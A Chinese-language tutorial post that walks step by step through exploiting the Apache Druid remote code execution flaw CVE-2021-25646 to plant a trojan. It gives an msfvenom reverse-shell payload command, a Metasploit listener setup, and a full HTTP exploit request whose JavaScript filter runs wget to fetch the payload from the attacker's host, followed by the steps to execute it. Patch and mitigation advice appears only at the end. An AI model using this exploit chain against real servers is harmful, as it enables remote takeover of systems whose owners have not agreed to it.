如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序
如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序
这篇文章给大家介绍如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。
一、漏洞综述
1.1 漏洞背景
Apache Druid 是用Java编写的面向列的开源分布式数据存储系统，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。
近日Apache Druid官方发布了安全更新，修复远程代码执行漏洞(CVE-2021-25646)
1.2 漏洞描述
Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境，且默认情况下已禁用。但是，在Druid 0.20.0及更早版本中，经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求，强制Druid为该请求运行用户提供的JavaScript代码。由于Apache Druid默认情况下缺乏授权认证，攻击者可以利用此漏洞在目标机器上执行任意代码，最终可获取服务器的控制权限。
1.3使用MSF生成反弹shell木马程序
本次使用的攻击机地址为：192.168.159.131 靶机地址：192.168.159.139
1、使用MSF生成反弹shell的木马程序,命令为：msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.159.131 LPORT=5555 -f elf > reverse.elf
备注：我这边使用的靶机是64位系统，所以选择的x64攻击负载,32位系统可以选择x86
2、在攻击机上使用python开启web服务，下文将通过Apache Druid 远程代码执行漏洞执行wget命令，从刚搭建的web服务商下载msf生成的reverse.elf文件
3、使用MSF开启监听模块，命令为：
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.159.131
set lport 5555
run
1.4漏洞复现
1、从https://github.com/apache/druid/releases/tag/druid-0.19.0下载Druid0.19版本，如下图所示
2、使用docker搭建Druid漏洞环境，解压下载的文件，进入druid-druid-0.19.0/distribution/docker路径使用docker-compose up –d搭建漏洞环境，完成之后访问http://192.168.159.139:8888
3、将下面的poc复制到burpsuit的repeater模块，攻击载荷中最终执行的命令为：wget http://192.168.159.131:888/reverse.elf，从搭建的web服务器上将反弹shell木马程序下载到靶机上
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.159.139:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json;charset=UTF-8
Content-Length: 931
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('wget http://192.168.159.131:888/reverse.elf')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
}
},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
4、将下载到靶机上的reverse.elf恶意程序赋予可执行权限，命令为：chmod a+x reverse.elf
5、执行reverse.elf程序，执行命令为: ./reverse.elf
6、msf成功收到反弹的shell
二、影响范围
Apache Druid <= 0.20.0
三、严重等级
高危
四、处置方法
4.1 官方补丁
Apache Druid 官方已在新版本中修复此漏洞，请升级至0.20.1及以上版本，下载链接：https://github.com/apache/druid/releases/tag/druid-0.20.1
4.2 临时缓解措施
若暂时无法升级，可以通过以下方法临时缓解影响：
设置网络访问控制策略，只允许可信任的内网IP访问Druid。
引入druid-basic-security扩展添加授权认证。
关于如何利用Apache Druid 远程代码执行漏洞CVE-2021-25646上传木马程序就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。
[微信提示：高防服务器能助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。
[图文来源于网络，不代表本站立场，如有侵权，请联系高防服务器网删除]
[